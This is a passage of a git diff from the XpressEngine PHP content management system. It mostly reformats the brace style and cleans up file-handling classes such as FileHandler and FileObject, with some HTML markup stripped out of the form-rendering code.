      '; + foreach($default as $v) + { + if($value && in_array(trim($v), $value)) + { + $checked = ' checked="checked"'; + } + else + { + $checked = ''; + } + + // Temporary ID for labeling + $tmp_id = $column_name . '-' . $id_num++; + + $buff .='
    • '; + } + $buff .= '
    '; + break; + // single choice + case 'select' : + $buff .= ''; + break; + // radio + case 'radio' : + $buff .= '
      '; + foreach($default as $v) + { + if($value && in_array(trim($v), $value)) + { + $checked = ' checked="checked"'; + } + else + { + $checked = ''; + } + + // Temporary ID for labeling + $tmp_id = $column_name . '-' . $id_num++; + + $buff .= '
    • '; + } + $buff .= '
    '; + break; + // date + case 'date' : + // datepicker javascript plugin load + Context::loadJavascriptPlugin('ui.datepicker'); + + $buff .= + '' . + ' ' . "\n" . + ''; + break; + // address + case "kr_zip" : + // krzip address javascript plugin load + Context::loadJavascriptPlugin('ui.krzip'); + + $buff .= + '' . + '' . + '' . + '' . + ''; + break; + // General text + default : + $buff .=' '; + break; + } + if($this->desc) + { + $buff .= '

    ' . htmlspecialchars($this->desc) . '

    '; + } + + return $buff; + } + +} +/* End of file ExtraVar.class.php */ +/* Location: ./classes/extravar/ExtraVar.class.php */ diff --git a/classes/file/FileHandler.class.php b/classes/file/FileHandler.class.php index afe3c791b..bca876e0b 100644 --- a/classes/file/FileHandler.class.php +++ b/classes/file/FileHandler.class.php @@ -1,19 +1,26 @@ read()) { - if(substr($file,0,1)=='.') continue; - if($filter && preg_match($filter, $file)) continue; - if(is_dir($source_dir.$file)){ - FileHandler::copyDir($source_dir.$file,$target_dir.$file,$type); - }else{ - if($type == 'force'){ - @unlink($target_dir.$file); - }else{ - if(!file_exists($target_dir.$file)) @copy($source_dir.$file,$target_dir.$file); + while($file = $oDir->read()) + { + if(substr($file, 0, 1) == '.') + { + continue; + } + + if($filter && preg_match($filter, $file)) + { + continue; + } + + if(is_dir($source_dir . $file)) + { + FileHandler::copyDir($source_dir . $file, $target_dir . $file, $type); + } + else + { + if($type == 'force') + { + @unlink($target_dir . $file); + } + else + { + if(!file_exists($target_dir . $file)) + { + @copy($source_dir . $file, $target_dir . $file); + } } } } @@ -61,15 +101,25 @@ class FileHandler { * @param string $target Path of target file * @param string $force Y: overwrite * @return void - **/ - function copyFile($source, $target, $force='Y'){ - setlocale(LC_CTYPE, 'en_US.UTF8', 'ko_KR.UTF8'); + */ + function copyFile($source, $target, $force = 'Y') + { + setlocale(LC_CTYPE, 'en_US.UTF8', 'ko_KR.UTF8'); $source = FileHandler::getRealPath($source); $target_dir = FileHandler::getRealPath(dirname($target)); $target = basename($target); - if(!file_exists($target_dir)) FileHandler::makeDir($target_dir); - if($force=='Y') @unlink($target_dir.'/'.$target); - @copy($source, $target_dir.'/'.$target); + + if(!file_exists($target_dir)) + { + FileHandler::makeDir($target_dir); + } + + if($force == 'Y') + { + @unlink($target_dir . '/' . $target); + } + + @copy($source, $target_dir . '/' . $target); } /** @@ -77,26 +127,23 @@ class FileHandler { * * @param string $file_name Path of target file * @return string The content of the file. If target file does not exist, this function returns nothing. - **/ - function readFile($file_name) { + */ + function readFile($file_name) + { $file_name = FileHandler::getRealPath($file_name); - if(!file_exists($file_name)) return; - $filesize = filesize($file_name); - if($filesize<1) return; - - if(function_exists('file_get_contents')) return @file_get_contents($file_name); - - $fp = fopen($file_name, "r"); - $buff = ''; - if($fp) { - while(!feof($fp) && strlen($buff)<=$filesize) { - $str = fgets($fp, 1024); - $buff .= $str; - } - fclose($fp); + if(!file_exists($file_name)) + { + return; } - return $buff; + + $filesize = filesize($file_name); + if($filesize < 1) + { + return; + } + + return @file_get_contents($file_name); } /** @@ -106,19 +153,29 @@ class FileHandler { * @param string $buff Content to be writeen * @param string $mode a(append) / w(write) * @return void - **/ - function writeFile($file_name, $buff, $mode = "w") { + */ + function writeFile($file_name, $buff, $mode = "w") + { $file_name = FileHandler::getRealPath($file_name); $pathinfo = pathinfo($file_name); $path = $pathinfo['dirname']; - if(!is_dir($path)) FileHandler::makeDir($path); + if(!is_dir($path)) + { + FileHandler::makeDir($path); + } $mode = strtolower($mode); - if($mode != "a") $mode = "w"; - if(@!$fp = fopen($file_name,$mode)) return false; - fwrite($fp, $buff); - fclose($fp); + if($mode == 'a') + { + $flags = FILE_APPEND; + } + else + { + $flags = 0; + } + + @file_put_contents($file_name, $buff, $flags); @chmod($file_name, 0644); } @@ -127,8 +184,9 @@ class FileHandler { * * @param string $file_name path of target file * @return bool Returns true on success or false on failure. - **/ - function removeFile($file_name) { + */ + function removeFile($file_name) + { $file_name = FileHandler::getRealPath($file_name); return (file_exists($file_name) && @unlink($file_name)); } @@ -141,8 +199,9 @@ class FileHandler { * @param string $source Path of source file * @param string $target Path of target file * @return bool Returns true on success or false on failure. - **/ - function rename($source, $target) { + */ + function rename($source, $target) + { $source = FileHandler::getRealPath($source); $target = FileHandler::getRealPath($target); return @rename($source, $target); @@ -155,7 +214,8 @@ class FileHandler { * @param string $target Path of target file * @return bool Returns true on success or false on failure. */ - function moveFile($source, $target) { + function moveFile($source, $target) + { $source = FileHandler::getRealPath($source); if(!file_exists($source)) { @@ -173,8 +233,9 @@ class FileHandler { * @param string $source_dir Path of source directory * @param string $target_dir Path of target directory * @return void - **/ - function moveDir($source_dir, $target_dir) { + */ + function moveDir($source_dir, $target_dir) + { FileHandler::rename($source_dir, $target_dir); } @@ -188,31 +249,60 @@ class FileHandler { * @param bool $to_lower If true, file names will be changed into lower case. * @param bool $concat_prefix If true, return file name as absolute path * @return string[] Array of the filenames in the path - **/ - function readDir($path, $filter = '', $to_lower = false, $concat_prefix = false) { + */ + function readDir($path, $filter = '', $to_lower = false, $concat_prefix = false) + { $path = FileHandler::getRealPath($path); - if(substr($path,-1)!='/') $path .= '/'; - if(!is_dir($path)) return array(); + if(substr($path, -1) != '/') + { + $path .= '/'; + } + + if(!is_dir($path)) + { + return array(); + } $oDir = dir($path); - while($file = $oDir->read()) { - if(substr($file,0,1)=='.') continue; + while($file = $oDir->read()) + { + if(substr($file, 0, 1) == '.') + { + continue; + } - if($filter && !preg_match($filter, $file)) continue; + if($filter && !preg_match($filter, $file)) + { + continue; + } - if($to_lower) $file = strtolower($file); + if($to_lower) + { + $file = strtolower($file); + } - if($filter) $file = preg_replace($filter, '$1', $file); - else $file = $file; + if($filter) + { + $file = preg_replace($filter, '$1', $file); + } + else + { + $file = $file; + } - if($concat_prefix) { + if($concat_prefix) + { $file = sprintf('%s%s', str_replace(_XE_PATH_, '', $path), $file); } $output[] = $file; } - if(!$output) return array(); + + if(!$output) + { + return array(); + } return $output; } @@ -224,43 +314,71 @@ class FileHandler { * * @param string $path_string Path of target directory * @return bool true if success. It might return nothing when ftp is used and connection to the ftp address failed. - **/ - function makeDir($path_string) { + */ + function makeDir($path_string) + { static $oFtp = null; // if safe_mode is on, use FTP - if(ini_get('safe_mode')) { + if(ini_get('safe_mode')) + { $ftp_info = Context::getFTPInfo(); - if($oFtp == null) { - if(!Context::isFTPRegisted()) return; + if($oFtp == null) + { + if(!Context::isFTPRegisted()) + { + return; + } - require_once(_XE_PATH_.'libs/ftp.class.php'); + require_once(_XE_PATH_ . 'libs/ftp.class.php'); $oFtp = new ftp(); - if(!$ftp_info->ftp_host) $ftp_info->ftp_host = "127.0.0.1"; - if(!$ftp_info->ftp_port) $ftp_info->ftp_port = 21; - if(!$oFtp->ftp_connect($ftp_info->ftp_host, $ftp_info->ftp_port)) return; - if(!$oFtp->ftp_login($ftp_info->ftp_user, $ftp_info->ftp_password)) { + if(!$ftp_info->ftp_host) + { + $ftp_info->ftp_host = "127.0.0.1"; + } + if(!$ftp_info->ftp_port) + { + $ftp_info->ftp_port = 21; + } + if(!$oFtp->ftp_connect($ftp_info->ftp_host, $ftp_info->ftp_port)) + { + return; + } + if(!$oFtp->ftp_login($ftp_info->ftp_user, $ftp_info->ftp_password)) + { $oFtp->ftp_quit(); return; } } $ftp_path = $ftp_info->ftp_root_path; - if(!$ftp_path) $ftp_path = "/"; + if(!$ftp_path) + { + $ftp_path = "/"; + } } - $path_string = str_replace(_XE_PATH_,'',$path_string); + $path_string = str_replace(_XE_PATH_, '', $path_string); $path_list = explode('/', $path_string); $path = _XE_PATH_; - for($i=0;$iftp_mkdir($ftp_path); - $oFtp->ftp_site("CHMOD 777 ".$ftp_path); - } else { + $oFtp->ftp_site("CHMOD 777 " . $ftp_path); + } + else + { @mkdir($path, 0755); @chmod($path, 0755); } @@ -275,17 +393,27 @@ class FileHandler { * * @param string $path Path of the target directory * @return void - **/ - function removeDir($path) { + */ + function removeDir($path) + { $path = FileHandler::getRealPath($path); - if(!is_dir($path)) return; + if(!is_dir($path)) + { + return; + } + $directory = dir($path); - while($entry = $directory->read()) { - if ($entry != "." && $entry != "..") { - if (is_dir($path."/".$entry)) { - FileHandler::removeDir($path."/".$entry); - } else { - @unlink($path."/".$entry); + while($entry = $directory->read()) + { + if($entry != "." && $entry != "..") + { + if(is_dir($path . "/" . $entry)) + { + FileHandler::removeDir($path . "/" . $entry); + } + else + { + @unlink($path . "/" . $entry); } } } @@ -298,23 +426,37 @@ class FileHandler { * * @param string $path Path of the target directory * @return void - **/ - function removeBlankDir($path) { + */ + function removeBlankDir($path) + { $item_cnt = 0; $path = FileHandler::getRealPath($path); - if(!is_dir($path)) return; + if(!is_dir($path)) + { + return; + } + $directory = dir($path); - while($entry = $directory->read()) { - if ($entry == "." || $entry == "..") continue; - if (is_dir($path."/".$entry)) $item_cnt = FileHandler::removeBlankDir($path.'/'.$entry); + while($entry = $directory->read()) + { + if($entry == "." || $entry == "..") + { + continue; + } + if(is_dir($path . "/" . $entry)) + { + $item_cnt = FileHandler::removeBlankDir($path . '/' . $entry); + } } $directory->close(); - if($item_cnt < 1) @rmdir($path); + if($item_cnt < 1) + { + @rmdir($path); + } } - /** * Remove files in the target directory * @@ -322,17 +464,27 @@ class FileHandler { * * @param string $path Path of the target directory * @return void - **/ - function removeFilesInDir($path) { + */ + function removeFilesInDir($path) + { $path = FileHandler::getRealPath($path); - if(!is_dir($path)) return; + if(!is_dir($path)) + { + return; + } + $directory = dir($path); - while($entry = $directory->read()) { - if ($entry != "." && $entry != "..") { - if (is_dir($path."/".$entry)) { - FileHandler::removeFilesInDir($path."/".$entry); - } else { - @unlink($path."/".$entry); + while($entry = $directory->read()) + { + if($entry != "." && $entry != "..") + { + if(is_dir($path . "/" . $entry)) + { + FileHandler::removeFilesInDir($path . "/" . $entry); + } + else + { + @unlink($path . "/" . $entry); } } } @@ -345,13 +497,30 @@ class FileHandler { * @see FileHandler::returnBytes() * @param int $size Number of the size * @return string File size string - **/ - function filesize($size) { - if(!$size) return '0Byte'; - if($size === 1) return '1Byte'; - if($size < 1024) return $size.'Bytes'; - if($size >= 1024 && $size < 1024*1024) return sprintf("%0.1fKB",$size / 1024); - return sprintf("%0.2fMB",$size / (1024*1024)); + */ + function filesize($size) + { + if(!$size) + { + return '0Byte'; + } + + if($size === 1) + { + return '1Byte'; + } + + if($size < 1024) + { + return $size . 'Bytes'; + } + + if($size >= 1024 && $size < 1024 * 1024) + { + return sprintf("%0.1fKB", $size / 1024); + } + + return sprintf("%0.2fMB", $size / (1024 * 1024)); } /** @@ -368,88 +537,86 @@ class FileHandler { * @param string[] $cookies Cookies key value array. * @param string $post_data Request arguments array for POST method * @return string If success, the content of the target file. Otherwise: none - **/ - function getRemoteResource($url, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array(), $cookies = array(), $post_data = array()) { - if(version_compare(PHP_VERSION, '5.0.0', '>=')) + */ + function getRemoteResource($url, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array(), $cookies = array(), $post_data = array()) + { + try { - return include _XE_PATH_ . 'classes/file/getRemoteResourcePHP5.php'; + requirePear(); + require_once('HTTP/Request.php'); + + $parsed_url = parse_url(__PROXY_SERVER__); + if($parsed_url["host"]) + { + $oRequest = new HTTP_Request(__PROXY_SERVER__); + $oRequest->setMethod('POST'); + $oRequest->_timeout = $timeout; + $oRequest->addPostData('arg', serialize(array('Destination' => $url, 'method' => $method, 'body' => $body, 'content_type' => $content_type, "headers" => $headers, "post_data" => $post_data))); + } + else + { + $oRequest = new HTTP_Request($url); + if(count($headers)) + { + foreach($headers as $key => $val) + { + $oRequest->addHeader($key, $val); + } + } + if($cookies[$host]) + { + foreach($cookies[$host] as $key => $val) + { + $oRequest->addCookie($key, $val); + } + } + if(count($post_data)) + { + foreach($post_data as $key => $val) + { + $oRequest->addPostData($key, $val); + } + } + if(!$content_type) + $oRequest->addHeader('Content-Type', 'text/html'); + else + $oRequest->addHeader('Content-Type', $content_type); + $oRequest->setMethod($method); + if($body) + $oRequest->setBody($body); + + $oRequest->_timeout = $timeout; + } + + $oResponse = $oRequest->sendRequest(); + + $code = $oRequest->getResponseCode(); + $header = $oRequest->getResponseHeader(); + $response = $oRequest->getResponseBody(); + if($c = $oRequest->getResponseCookies()) + { + foreach($c as $k => $v) + { + $cookies[$host][$v['name']] = $v['value']; + } + } + + if($code > 300 && $code < 399 && $header['location']) + { + return FileHandler::getRemoteResource($header['location'], $body, $timeout, $method, $content_type, $headers, $cookies, $post_data); + } + + if($code != 200) + return; + + return $response; } - else + catch(Exception $e) { - return FileHandler::_getRemoteResource($url, $boyd, $timeout, $mehtod, $conent_type, $headers, $cookies, $post_data); + return NULL; } } - /** - * Return remote file's content via HTTP - * - * If the target is moved (when return code is 300~399), this function follows the location specified response header. - * - * @param string $url The address of the target file - * @param string $body HTTP request body - * @param int $timeout Connection timeout - * @param string $method GET/POST - * @param string $content_type Content type header of HTTP request - * @param string[] $headers Headers key vaule array. - * @param string[] $cookies Cookies key value array. - * @param string $post_data Request arguments array for POST method - * @return string If success, the content of the target file. Otherwise: none - **/ - function _getRemoteResource($url, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array(), $cookies = array(), $post_data = array()) { - requirePear(); - require_once('HTTP/Request.php'); - - $parsed_url = parse_url(__PROXY_SERVER__); - if($parsed_url["host"]) { - $oRequest = new HTTP_Request(__PROXY_SERVER__); - $oRequest->setMethod('POST'); - $oRequest->_timeout = $timeout; - $oRequest->addPostData('arg', serialize(array('Destination'=>$url, 'method'=>$method, 'body'=>$body, 'content_type'=>$content_type, "headers"=>$headers, "post_data"=>$post_data))); - } else { - $oRequest = new HTTP_Request($url); - if(count($headers)) { - foreach($headers as $key => $val) { - $oRequest->addHeader($key, $val); - } - } - if($cookies[$host]) { - foreach($cookies[$host] as $key => $val) { - $oRequest->addCookie($key, $val); - } - } - if(count($post_data)) { - foreach($post_data as $key => $val) { - $oRequest->addPostData($key, $val); - } - } - if(!$content_type) $oRequest->addHeader('Content-Type', 'text/html'); - else $oRequest->addHeader('Content-Type', $content_type); - $oRequest->setMethod($method); - if($body) $oRequest->setBody($body); - - $oRequest->_timeout = $timeout; - } - - $oResponse = $oRequest->sendRequest(); - - $code = $oRequest->getResponseCode(); - $header = $oRequest->getResponseHeader(); - $response = $oRequest->getResponseBody(); - if($c = $oRequest->getResponseCookies()) { - foreach($c as $k => $v) { - $cookies[$host][$v['name']] = $v['value']; - } - } - - if($code > 300 && $code < 399 && $header['location']) { - return FileHandler::getRemoteResource($header['location'], $body, $timeout, $method, $content_type, $headers, $cookies, $post_data); - } - - if($code != 200) return; - - return $response; - } - /** * Retrieves remote file, then stores it into target path. * @@ -461,13 +628,17 @@ class FileHandler { * @param string $content_type Content type header of HTTP request * @param string[] $headers Headers key vaule array. * @return bool true: success, false: failed - **/ - function getRemoteFile($url, $target_filename, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array()) { + */ + function getRemoteFile($url, $target_filename, $body = null, $timeout = 3, $method = 'GET', $content_type = null, $headers = array()) + { $body = FileHandler::getRemoteResource($url, $body, $timeout, $method, $content_type, $headers); - if(!$body) return false; + if(!$body) + { + return FALSE; + } $target_filename = FileHandler::getRealPath($target_filename); FileHandler::writeFile($target_filename, $body); - return true; + return TRUE; } /** @@ -481,10 +652,22 @@ class FileHandler { { $val = trim($val); $last = strtolower(substr($val, -1)); - if($last == 'g') $val *= 1024*1024*1024; - else if($last == 'm') $val *= 1024*1024; - else if($last == 'k') $val *= 1024; - else $val *= 1; + if($last == 'g') + { + $val *= 1024 * 1024 * 1024; + } + else if($last == 'm') + { + $val *= 1024 * 1024; + } + else if($last == 'k') + { + $val *= 1024; + } + else + { + $val *= 1; + } return $val; } @@ -497,15 +680,25 @@ class FileHandler { */ function checkMemoryLoadImage(&$imageInfo) { - if(!function_exists('memory_get_usage')) return true; + if(!function_exists('memory_get_usage')) + { + return TRUE; + } + $K64 = 65536; $TWEAKFACTOR = 2.0; $channels = $imageInfo['channels']; - if(!$channels) $channels = 6; //for png - $memoryNeeded = round( ($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $channels / 8 + $K64 ) * $TWEAKFACTOR ); + if(!$channels) + { + $channels = 6; //for png + } + $memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $channels / 8 + $K64 ) * $TWEAKFACTOR); $availableMemory = FileHandler::returnBytes(ini_get('memory_limit')) - memory_get_usage(); - if($availableMemory < $memoryNeeded) return false; - return true; + if($availableMemory < $memoryNeeded) + { + return FALSE; + } + return TRUE; } /** @@ -518,149 +711,257 @@ class FileHandler { * @param string $target_type If $target_type is set (gif, jpg, png, bmp), result image will be saved as target type * @param string $thumbnail_type Thumbnail type(crop, ratio) * @return bool true: success, false: failed - **/ - function createImageFile($source_file, $target_file, $resize_width = 0, $resize_height = 0, $target_type = '', $thumbnail_type = 'crop') { + */ + function createImageFile($source_file, $target_file, $resize_width = 0, $resize_height = 0, $target_type = '', $thumbnail_type = 'crop') + { $source_file = FileHandler::getRealPath($source_file); $target_file = FileHandler::getRealPath($target_file); - if(!file_exists($source_file)) return; - if(!$resize_width) $resize_width = 100; - if(!$resize_height) $resize_height = $resize_width; + if(!file_exists($source_file)) + { + return; + } + if(!$resize_width) + { + $resize_width = 100; + } + if(!$resize_height) + { + $resize_height = $resize_width; + } // retrieve source image's information $imageInfo = getimagesize($source_file); - if(!FileHandler::checkMemoryLoadImage($imageInfo)) return false; + if(!FileHandler::checkMemoryLoadImage($imageInfo)) + { + return FALSE; + } list($width, $height, $type, $attrs) = $imageInfo; - if($width<1 || $height<1) return; + if($width < 1 || $height < 1) + { + return; + } - switch($type) { + switch($type) + { case '1' : - $type = 'gif'; + $type = 'gif'; break; case '2' : - $type = 'jpg'; + $type = 'jpg'; break; case '3' : - $type = 'png'; + $type = 'png'; break; case '6' : - $type = 'bmp'; + $type = 'bmp'; break; default : - return; + return; break; } // if original image is larger than specified size to resize, calculate the ratio - if($resize_width > 0 && $width >= $resize_width) $width_per = $resize_width / $width; - else $width_per = 1; - - if($resize_height>0 && $height >= $resize_height) $height_per = $resize_height / $height; - else $height_per = 1; - - if($thumbnail_type == 'ratio') { - if($width_per>$height_per) $per = $height_per; - else $per = $width_per; - $resize_width = $width * $per; - $resize_height = $height * $per; - } else { - if($width_per < $height_per) $per = $height_per; - else $per = $width_per; + if($resize_width > 0 && $width >= $resize_width) + { + $width_per = $resize_width / $width; + } + else + { + $width_per = 1; } - if(!$per) $per = 1; + if($resize_height > 0 && $height >= $resize_height) + { + $height_per = $resize_height / $height; + } + else + { + $height_per = 1; + } + + if($thumbnail_type == 'ratio') + { + if($width_per > $height_per) + { + $per = $height_per; + } + else + { + $per = $width_per; + } + $resize_width = $width * $per; + $resize_height = $height * $per; + } + else + { + if($width_per < $height_per) + { + $per = $height_per; + } + else + { + $per = $width_per; + } + } + + if(!$per) + { + $per = 1; + } // get type of target file - if(!$target_type) $target_type = $type; + if(!$target_type) + { + $target_type = $type; + } $target_type = strtolower($target_type); // create temporary image with target size - if(function_exists('imagecreatetruecolor')) $thumb = imagecreatetruecolor($resize_width, $resize_height); - else if(function_exists('imagecreate')) $thumb = imagecreate($resize_width, $resize_height); - else return false; - if(!$thumb) return false; + if(function_exists('imagecreatetruecolor')) + { + $thumb = imagecreatetruecolor($resize_width, $resize_height); + } + else if(function_exists('imagecreate')) + { + $thumb = imagecreate($resize_width, $resize_height); + } + else + { + return FALSE; + } + if(!$thumb) + { + return FALSE; + } - $white = imagecolorallocate($thumb, 255,255,255); - imagefilledrectangle($thumb,0,0,$resize_width-1,$resize_height-1,$white); + $white = imagecolorallocate($thumb, 255, 255, 255); + imagefilledrectangle($thumb, 0, 0, $resize_width - 1, $resize_height - 1, $white); // create temporary image having original type - switch($type) { + switch($type) + { case 'gif' : - if(!function_exists('imagecreatefromgif')) return false; - $source = @imagecreatefromgif($source_file); + if(!function_exists('imagecreatefromgif')) + { + return FALSE; + } + $source = @imagecreatefromgif($source_file); break; // jpg case 'jpeg' : case 'jpg' : - if(!function_exists('imagecreatefromjpeg')) return false; - $source = @imagecreatefromjpeg($source_file); + if(!function_exists('imagecreatefromjpeg')) + { + return FALSE; + } + $source = @imagecreatefromjpeg($source_file); break; // png case 'png' : - if(!function_exists('imagecreatefrompng')) return false; - $source = @imagecreatefrompng($source_file); + if(!function_exists('imagecreatefrompng')) + { + return FALSE; + } + $source = @imagecreatefrompng($source_file); break; // bmp case 'wbmp' : case 'bmp' : - if(!function_exists('imagecreatefromwbmp')) return false; - $source = @imagecreatefromwbmp($source_file); + if(!function_exists('imagecreatefromwbmp')) + { + return FALSE; + } + $source = @imagecreatefromwbmp($source_file); break; default : return; } // resize original image and put it into temporary image - $new_width = (int)($width * $per); - $new_height = (int)($height * $per); + $new_width = (int) ($width * $per); + $new_height = (int) ($height * $per); - if($thumbnail_type == 'crop') { - $x = (int)($resize_width/2 - $new_width/2); - $y = (int)($resize_height/2 - $new_height/2); - } else { + if($thumbnail_type == 'crop') + { + $x = (int) ($resize_width / 2 - $new_width / 2); + $y = (int) ($resize_height / 2 - $new_height / 2); + } + else + { $x = 0; $y = 0; } - if($source) { - if(function_exists('imagecopyresampled')) imagecopyresampled($thumb, $source, $x, $y, 0, 0, $new_width, $new_height, $width, $height); - else imagecopyresized($thumb, $source, $x, $y, 0, 0, $new_width, $new_height, $width, $height); - } else return false; + if($source) + { + if(function_exists('imagecopyresampled')) + { + imagecopyresampled($thumb, $source, $x, $y, 0, 0, $new_width, $new_height, $width, $height); + } + else + { + imagecopyresized($thumb, $source, $x, $y, 0, 0, $new_width, $new_height, $width, $height); + } + } + else + { + return FALSE; + } // create directory $path = dirname($target_file); - if(!is_dir($path)) FileHandler::makeDir($path); + if(!is_dir($path)) + { + FileHandler::makeDir($path); + } // write into the file - switch($target_type) { + switch($target_type) + { case 'gif' : - if(!function_exists('imagegif')) return false; - $output = imagegif($thumb, $target_file); + if(!function_exists('imagegif')) + { + return FALSE; + } + $output = imagegif($thumb, $target_file); break; case 'jpeg' : case 'jpg' : - if(!function_exists('imagejpeg')) return false; - $output = imagejpeg($thumb, $target_file, 100); + if(!function_exists('imagejpeg')) + { + return FALSE; + } + $output = imagejpeg($thumb, $target_file, 100); break; case 'png' : - if(!function_exists('imagepng')) return false; - $output = imagepng($thumb, $target_file, 9); + if(!function_exists('imagepng')) + { + return FALSE; + } + $output = imagepng($thumb, $target_file, 9); break; case 'wbmp' : case 'bmp' : - if(!function_exists('imagewbmp')) return false; - $output = imagewbmp($thumb, $target_file, 100); + if(!function_exists('imagewbmp')) + { + return FALSE; + } + $output = imagewbmp($thumb, $target_file, 100); break; } imagedestroy($thumb); imagedestroy($source); - if(!$output) return false; + if(!$output) + { + return FALSE; + } @chmod($target_file, 0644); - return true; + return TRUE; } /** @@ -669,34 +970,47 @@ class FileHandler { * @see FileHandler::writeIniFile() * @param string $filename Path of the ini file * @return array ini array (if the target file does not exist, it returns false) - **/ - function readIniFile($filename){ + */ + function readIniFile($filename) + { $filename = FileHandler::getRealPath($filename); - if(!file_exists($filename)) return false; - $arr = parse_ini_file($filename, true); - if(is_array($arr) && count($arr)>0) return $arr; - else return array(); + if(!file_exists($filename)) + { + return FALSE; + } + $arr = parse_ini_file($filename, TRUE); + if(is_array($arr) && count($arr) > 0) + { + return $arr; + } + else + { + return array(); + } } - /** * Write array into ini file * - * $ini['key1'] = 'value1';
    - * $ini['key2'] = 'value2';
    - * $ini['section']['key1_in_section'] = 'value1_in_section';
    - * $ini['section']['key2_in_section'] = 'value2_in_section';
    - * FileHandler::writeIniFile('exmple.ini', $ini); + * $ini['key1'] = 'value1';
    + * $ini['key2'] = 'value2';
    + * $ini['section']['key1_in_section'] = 'value1_in_section';
    + * $ini['section']['key2_in_section'] = 'value2_in_section';
    + * FileHandler::writeIniFile('exmple.ini', $ini); * * @see FileHandler::readIniFile() * @param string $filename Target ini file name * @param array $arr Array * @return bool if array contains nothing it returns false, otherwise true - **/ - function writeIniFile($filename, $arr){ - if(count($arr)==0) return false; + */ + function writeIniFile($filename, $arr) + { + if(count($arr) == 0) + { + return FALSE; + } FileHandler::writeFile($filename, FileHandler::_makeIniBuff($arr)); - return true; + return TRUE; } /** @@ -705,18 +1019,24 @@ class FileHandler { * @param array $arr Array * @return string */ - function _makeIniBuff($arr){ + function _makeIniBuff($arr) + { $return = ''; - foreach($arr as $key => $val){ + foreach($arr as $key => $val) + { // section - if(is_array($val)){ - $return .= sprintf("[%s]\n",$key); - foreach($val as $k => $v){ - $return .= sprintf("%s=\"%s\"\n",$k,$v); + if(is_array($val)) + { + $return .= sprintf("[%s]\n", $key); + foreach($val as $k => $v) + { + $return .= sprintf("%s=\"%s\"\n", $k, $v); } - // value - }else if(is_string($val) || is_int($val)){ - $return .= sprintf("%s=\"%s\"\n",$key,$val); + // value + } + else if(is_string($val) || is_int($val)) + { + $return .= sprintf("%s=\"%s\"\n", $key, $val); } } return $return; @@ -730,12 +1050,15 @@ class FileHandler { * @param string $filename Target file name * @param string $mode File mode for fopen * @return FileObject File object - **/ + */ function openFile($filename, $mode) { $pathinfo = pathinfo($filename); $path = $pathinfo['dirname']; - if(!is_dir($path)) FileHandler::makeDir($path); + if(!is_dir($path)) + { + FileHandler::makeDir($path); + } require_once("FileObject.class.php"); $file_object = new FileObject($file_name, $mode); @@ -752,7 +1075,7 @@ class FileHandler { { return (is_readable($filename) && !!filesize($filename)); } -} +} /* End of file FileHandler.class.php */ /* Location: ./classes/file/FileHandler.class.php */ diff --git a/classes/file/FileObject.class.php b/classes/file/FileObject.class.php index 05c7bc62c..728ac579f 100644 --- a/classes/file/FileObject.class.php +++ b/classes/file/FileObject.class.php @@ -1,22 +1,24 @@ Open($path, $mode); + if($path != NULL) + { + $this->Open($path, $mode); + } } /** @@ -41,7 +46,7 @@ class FileObject extends Object * * @param string $file_name Path of target file * @return void - **/ + */ function append($file_name) { $target = new FileObject($file_name, "r"); @@ -57,7 +62,7 @@ class FileObject extends Object * Check current file meets eof * * @return bool true: if eof. false: otherwise - **/ + */ function feof() { return feof($this->fp); @@ -68,24 +73,29 @@ class FileObject extends Object * * @param int $size Size to read * @return string Returns the read string or false on failure. - **/ + */ function read($size = 1024) { return fread($this->fp, $size); } - /** * Write string to current file * * @param string $str String to write * @return int Returns the number of bytes written, or false on error. - **/ + */ function write($str) { $len = strlen($str); - if(!$str || $len <= 0) return false; - if(!$this->fp) return false; + if(!$str || $len <= 0) + { + return FALSE; + } + if(!$this->fp) + { + return FALSE; + } $written = fwrite($this->fp, $str); return $written; } @@ -101,34 +111,34 @@ class FileObject extends Object */ function open($path, $mode) { - if($this->fp != null) - { + if($this->fp != NULL) + { $this->close(); } $this->fp = fopen($path, $mode); - if(! is_resource($this->fp) ) + if(!is_resource($this->fp)) { - $this->fp = null; - return false; + $this->fp = NULL; + return FALSE; } $this->path = $path; - return true; + return TRUE; } /** * Return current file's path * * @return string Returns the path of current file. - **/ + */ function getPath() { - if($this->fp != null) + if($this->fp != NULL) { return $this->path; } else { - return null; + return NULL; } } @@ -136,16 +146,16 @@ class FileObject extends Object * Close file * * @return void - **/ + */ function close() { - if($this->fp != null) + if($this->fp != NULL) { fclose($this->fp); - $this->fp = null; + $this->fp = NULL; } } -} +} /* End of file FileObject.class.php */ /* Location: ./classes/file/FileObject.class.php */ diff --git a/classes/file/getRemoteResourcePHP5.php b/classes/file/getRemoteResourcePHP5.php deleted file mode 100644 index 74e007b54..000000000 --- a/classes/file/getRemoteResourcePHP5.php +++ /dev/null @@ -1,9 +0,0 @@ - - * case js - * $args[0]: file name - * $args[1]: type (head | body) - * $args[2]: target IE - * $args[3]: index - * case css - * $args[0]: file name - * $args[1]: media - * $args[2]: target IE - * $args[3]: index - * - * - * If $useCdn set true, use CDN instead local file. - * CDN path = $cdnPrefix . $cdnVersion . $args[0]
    - *
    - * i.e.
    - * $cdnPrefix = 'http://static.xpressengine.com/core/';
    - * $cdnVersion = 'ardent1';
    - * $args[0] = './common/js/xe.js';
    - * The CDN path is http://static.xprssengine.com/core/ardent1/common/js/xe.js.
